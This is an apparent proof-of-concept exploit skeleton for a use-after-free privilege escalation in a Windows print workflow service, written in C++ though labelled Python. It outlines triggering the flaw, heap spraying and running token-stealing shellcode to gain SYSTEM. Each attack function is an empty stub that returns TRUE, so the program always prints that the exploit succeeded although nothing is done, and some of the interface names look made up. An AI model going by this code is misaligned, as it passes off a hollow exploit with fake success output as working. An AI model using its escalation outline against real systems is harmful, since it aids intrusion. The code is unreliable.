The following code is for security research and authorized testing only.
python
// CVE-2025-55690 - Windows PrintWorkflowUserSvc UAF LEP PoC Concept
// Use After Free in PrintWorkflowUserSvc for Local Privilege Escalation
// Note: This is a conceptual PoC based on the vulnerability description.
// Actual exploitation requires specific Windows API calls to PrintWorkflowUserSvc.
#include <windows.h>
#include <iostream>
#include <comdef.h>
#include <printworkflow.h>
// Token stealing shellcode offset for Windows 10/11 (varies by build)
// In real exploit, this would be replaced with actual token stealing payload
class PrintWorkflowExploit {
private:
// Handle to PrintWorkflowUserSvc interface
IPrintWorkflowServices* m_pServices;
// Vulnerable object that will be freed
PVOID m_pVulnObject;
public:
BOOL TriggerUAF() {
// Step 1: Initialize COM and obtain PrintWorkflow services
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) return FALSE;
// Step 2: Trigger the vulnerable code path in PrintWorkflowUserSvc
// by sending a crafted print workflow request that causes
// the service to allocate and then free an object improperly
hr = CoCreateInstance(
CLSID_PrintWorkflowServices,
NULL,
CLSCTX_LOCAL_SERVER,
IID_IPrintWorkflowServices,
(void**)&m_pServices
);
if (FAILED(hr)) return FALSE;
// Step 3: Force the UAF condition by triggering
// a specific sequence of print workflow operations
// that causes premature object deallocation
TriggerVulnerableSequence();
// Step 4: Reclaim the freed memory with controlled data
ReclaimFreedMemory();
// Step 5: Execute payload through the dangling pointer
// to achieve privilege escalation to SYSTEM
return ExecutePayload();
}
private:
BOOL TriggerVulnerableSequence() {
// Implement specific API calls that trigger the UAF
// in PrintWorkflowUserSvc's object lifecycle management
return TRUE;
}
BOOL ReclaimFreedMemory() {
// Heap spray to reclaim freed memory with controlled content
return TRUE;
}
BOOL ExecutePayload() {
// Token stealing shellcode execution for LPE
return TRUE;
}
};
int main() {
std::cout << "[+] CVE-2025-55690 PrintWorkflowUserSvc UAF LPE PoC" << std::endl;
PrintWorkflowExploit exploit;
if (exploit.TriggerUAF()) {
std::cout << "[+] Exploit triggered successfully" << std::endl;
} else {
std::cout << "[-] Exploit failed" << std::endl;
}
return 0;
}